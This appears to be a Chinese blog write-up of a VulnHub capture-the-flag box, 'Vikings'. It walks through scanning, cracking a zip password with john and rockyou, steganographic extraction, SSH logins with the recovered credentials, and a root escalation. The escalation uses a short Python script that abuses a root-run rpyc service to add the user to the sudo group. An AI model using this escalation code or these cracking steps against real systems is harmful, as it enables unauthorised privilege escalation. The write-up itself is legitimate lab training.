首页 > 其他分享 >打靶记录9——Vikings

打靶记录9——Vikings

时间:2024-08-13 22:38:45浏览次数:11  
标签:发现 Vikings 文件 账号 sudo 打靶 密码 记录 ragnar

靶机下载地址:https://www.vulnhub.com/entry/vikings-1,741/

难度:

  • 低(中),CTF风格的靶机

目标:

  • 取得 root 权限 + 2 个flag

涉及的攻击方法:

  • 主机发现
  • 端口扫描
  • Web信息收集
  • 编码转换/文件还原
  • 离线密码破解
  • 隐写术
  • 二进制文件提取
  • 素数查找/科拉茨猜想
  • RPC漏洞提权

主机发现:

sudo arp-scan -l
image.png

端口扫描和服务发现

sudo nmap -p- 192.168.31.27
image.png
sudo nmap -p22,80 -sV -sC 192.168.31.27
image.png
发现一个site/路径,直接访问浏览器
image.png
访问链接,页面加载有点慢,查看源代码发现是加载了外国网站的一些js文件
image.png
首页有一个名字ragnar,是维京首领
image.png

目录扫描

使用工具gobuster
sudo gobuster dir -r -u http://192.168.31.27/site/ -w /usr/share/seclists/Discovery/Web-Content/common.txt -x txt,php,html
image.png
访问发现一个新路径
image.png
发现一大堆Base64编码
image.png
使用Cyberchef工具解码解析,选择From Base64,发现PK文件头,是zip文件的文件头
image.png
image.png
选择Detect File Type识别一下是什么文件格式,发现是zip文件
image.png
直接保存,点右边的按钮
image.png
解压它发现需要密码
image.png
zip2john download.zip > hash将压缩文件转换为john可以识别的格式并保存为一个hash文件
john hash --wordlist=/usr/share/wordlists/rockyou.txt使用rockyou.txt大字典进行暴力破解,破解成功密码ragnarok123
image.png
使用密码ragnarok123解压获得图片king
image.png
steghide info king查看文件是否有隐藏信息,发现有,但是查看信息需要密码
image.png
原本是想通过shell脚本的方式来爆破密码,但是无法成功

for i in $(cat "rockyou.txt"); do steghide extract king -p $i; done

那么换其他方式
binwalk -B king查看详细信息
image.png
binwalk -e king直接强制提取
image.png
查看user文件内容,发现疑似ssh登录的信息
image.png
ssh [email protected]直接登录
账号floki;密码f@m0usboatbuilde7尝试登录成功
image.png
在当前目录下发现两个文件,依次查看

  • 发现readme里说必须要创建boat才能找到ragnar账号,在boat文件中发现两段伪代码,提示需要找到第29个质数,拿这个质数去进行科拉茨猜想的计算生成一串数字,将这段数字中符合ASCII编码的字符给筛选出来,应该就是ragnar账号的密码

image.png
首先需要找到第29个质数

n = 0
for x in range(1000):
    if x < 2:
        continue
    h = int(x / 2) + 1
    for i in range(2,h):
        if x % i == 0:
            break
    else:
        n +=1
        print(n, ":", x)

image.png
第29个质数是109
接下来做科拉茨猜想运算

i = 109
c = [i]
while i != 1:
    if i % 2 ==1:
        i = i * 3 + 1
    else:
        i = i // 2
    if i < 256:
        c.append(i)
print(c)

image.png
将这段数字中符合ASCII编码的字符给筛选出来
image.png
image.png
mR)|>^/Gky[gz=\.F#j5P(,用这个密码成功登录,登录发现它以sudo的权限执行了什么命令
image.png
image.png
bash 中,-i 参数表示启动一个交互式 shell。使用 /bin/bash -i 会启动一个新的 bash 实例,并使其处于交互模式,这样你可以输入命令并实时获得反馈。这种模式常用于在脚本或命令中模拟交互式会话。

我们知道.bashrc.profile等文件可以设置开机后自动执行的命令
image.png
查看.profile文件确实有一串sudo python3 /usr/local/bin/rpyc_classic.py
image.png

提权

vim /usr/local/bin/rpyc_classic.py查看该python文件
image.png
这看起来是一个服务端的接口程序,发现引入了rpyc的库Part 1: Introduction to Classic RPyC — RPyC
RPC就是远程的进程调用,它的作用就是在服务端可以运行一个程序接口,我们可以通过客户端的代码指令去连上服务端的接口,然后去执行服务端的函数和指令
它的默认监听端口是18812
image.png
发现可以通过这段代码去连接,然后通过函数调用,通过阅读官方文档可以快速的学习到
image.png
这个文件的属主是root
image.png
我们可以通过客户端编写一些程序代码,编写一些函数,然后将这些函数提交到服务器端的侦听端口上面,提交给服务器让它帮我执行,由于它的属主是root账号,所以它就会以root账号来执行我们注入的指令

先来查看一下目标靶机上默认的服务端口是否是开着的
ss -pantu | grep 18812
image.png
发现是开着的,说明服务正在运行
ss -pantu 是一个用于显示网络连接的 ss 命令的选项组合。具体参数含义如下:

  • **-p**:显示与套接字相关的进程信息。
  • **-a**:显示所有套接字(包括监听和非监听状态)。
  • **-n**:以数字形式显示地址和端口,而非解析为主机名或服务名。
  • **-t**:显示 TCP 套接字。
  • **-u**:显示 UDP 套接字。

综上,ss -pantu 命令会列出所有的 TCP 和 UDP 网络连接,并显示相关的进程信息,使用数字格式显示地址和端口。

在靶机上编辑一个exp.py,在目标靶机上去执行

import rpyc
def shell():
    import os
    os.system("sudo usermod -a -G sudo ragnar")
conn = rpyc.classic.connect("localhost")
fn = conn.teleport(shell)
fn()

代码是把我们自己添加进入到sudo的组里面
运行代码之后,如果成功了的话,在我们下次登录目标靶机的时候就是具有sudo权限的了
image.png
ssh [email protected],密码mR)|>^/Gky[gz=\.F#j5P(
image.png
然后当前要求我们输入的sudo密码我们就不去管它了,直接敲三次回车就行,这样就登录进来了
image.png
然后用/bin/bash -i简单的升级一下shell,发现提示To run a command as administrator (user "root"), use "sudo <command>".说明我们刚刚把自己加入sudo组里面的操作是成功了的,所以我们登录的时候它就会提示我们是sudo组的人了

sudo -s直接提权成功!
image.png

总结:

  • 主机发现、端口扫描、服务发现
  • 发现在site目录下存在一个war.txt的文件,访问这个文件发现存在一个路径,访问这个路径发现一大堆的Base64编码的内容
  • 使用CyberChef进行编码转换,发现一个zip文件,保存后打开发现需要密码,于是进行离线的密码破解,解压出一个图片文件
  • 对图片进行隐写术的检查发现有隐藏信息,但是加了密码保护
  • 于是使用二进制的方式强制提取,通过binwalk提取出一个压缩文件,从里面的user.txt发现包含floki账号SSH登录的信息成功登录floki账号
  • 进一步信息搜索,发现readme里说必须要创建boat才能找到ragnar账号,在boat文件中发现两段伪代码,提示需要找到第29个质数,拿这个质数去进行科拉茨猜想的计算生成一串数字,将这段数字中符合ASCII编码的字符给筛选出来,就是ragnar账号的密码
  • 登录ragnar账号,找到一个pythonRPC程序,分析代码发现有机会通过客户端将请求发给服务器端,以root身份去执行一个客户端的请求指令
  • 于是自己编写一段漏洞的利用代码将自己自定义的函数提交到服务端,让服务器帮我们执行,执行结果就是将ragnar账号加入到sudo组里面,通过sudo组的权限直接运行sudo -s命令,通过这个权限去将自己直接提升成root账号
  • 最终拿下这台靶机

学习记录

  • 在打靶过程当中,需要使用很多的自定义的程序代码的编写,所有的这些能力是作为一个渗透测试者需要去具备,需要去打磨,需要去培养的能力。

标签:发现,Vikings,文件,账号,sudo,打靶,密码,记录,ragnar
From: https://www.cnblogs.com/Fab1an/p/18357842

相关文章

  • 如何高效记录并整理编程学习笔记?
    如何高效记录并整理编程学习笔记?在编程学习的海洋中,高效的笔记记录和整理方法就像一张珍贵的航海图,能够帮助我们在浩瀚的知识中找到方向。如何建立一个既能快速记录又易于回顾的笔记系统?如何在繁忙的学习中保持笔记的条理性?让我们一起探讨如何打造属于自己的编程学习“知识宝......
  • [CS61A] 学习记录六 Lab2 题解思路分享
    前言观前提示,笔者写的代码答案放在GitHub仓库中,此处仅记录过程与心得。此外,请最好在尝试独立完成该任务后再看本文,否则就很可能失去了体验本项目精华的机会正文Q1:WWPD:LambdatheFree有两个问题有点意思。lambda与参数>>>b=lambdax:lambda:x#Lambdascanr......
  • TIOBE 8月编程排行榜出炉!Python 正在追赶 Java 的 TIOBE 指数记录
    2024年8月的TIOBE编程语言排行榜出炉了!对于开发者而言,这份排行榜不仅仅是编程语言的简单排序,更是行业趋势的风向标。而今年,Python的表现格外引人注目,它正在一步步逼近Java的TIOBE指数记录。让我们一起看看这两大编程巨头在本月的激烈角逐吧。为什么Python在这几年的排行榜中节节......
  • 8.13 模拟赛 T3 记录
    题源发现\(v\)范围很小,有一个基于\(v\)的策略就是从\(1\)开始往上能合并就合并,这样一定不劣。于是考虑将序列划分为若干个值相等的段,形如\((num_{x},x)\),对于一个区间的段,如果有一段比两边相邻的段的数都要小,此时这个段的长度显然不会增加,所以可以直接合并,推平成两边小的......
  • 实习记录day02:MySQL是有null和空的区别的
    实习第二天今天第一次骑电动车,平时不敢骑,但是这次来的路上实现没有单车,本人又不想走路X(,骑车无惊无险平安落地(撒花!)上午的时候被分配了一个小任务,优化一个逻辑,让一个不接受参数的死接口变成可接受参数的活接口。我本来想直接改原来的代码实现目的,一改突然就爆红了。原来这个se......
  • 【做题记录】Codeforces Round 915 (Div. 2)/CF1905A-F
    @目录A.ConstructiveProblems(800)B.Begginer'sZelda(1100)C.LargestSubsequence(1400)D.CyclicMEX(2000)E.One-X(2400)F.FieldShouldNotBeEmpty(2600)提交记录A.ConstructiveProblems(800)注意到,对于\(n\timesn\)的矩阵,只需要把对角线全染黑即可。推广到\(......
  • 知识记录文档的使用
    使用了很多编辑记录软件,想将自己的知识整理归档,利于后面形成系统性知识。在此过程中,使用了很多软件,各有优缺点,以此记录大致情况。有道云:免费,云同步编辑体验较好,兼容markdown语法,可以快速编辑标题代码,也可以用快捷键的方式,可以灵活选择。对我来说缺点是:页面整体展示间距太大,给......
  • 如何高效记录并整理编程学习笔记
    在编程学习的旅程中,好的笔记记录和整理方法不仅能帮助我们更有效地吸收知识,还能在复习时提供清晰的参考。下面,我将为您提供一些建立高效笔记系统的建议,以帮助您在繁忙学习中保持笔记的条理性,从而打造属于自己的编程学习“知识宝库”。方向一:笔记工具选择提示:1.Notion优......
  • 比赛记录及总结
    2024.8.4联赛模拟by\(\rm\color{black}C\color{red}ommand\text_block\)。赛时5min想出A,写了10min,但是柿子不清晰抄错导致调试40min。T2起手一个暴力拿到40pts。后面马上猜了一个性质,发现大概是对的,直接开始写线段树。后面心里有些忐忑拿了一个\(checker\)去检查......
  • 区间历史最值线段树记录
    Description维护一个线段树,使得可以实现区间加、区间chkmin、求区间最值、区间历史最值、区间最大值。Solution先不考虑区间chkmin和历史最值,可以直接对于每个线段树节点维护一个tag,每次addtag更新。加上区间历史最值后,先考虑对于单个线段树节点怎么更新。容易发现对于......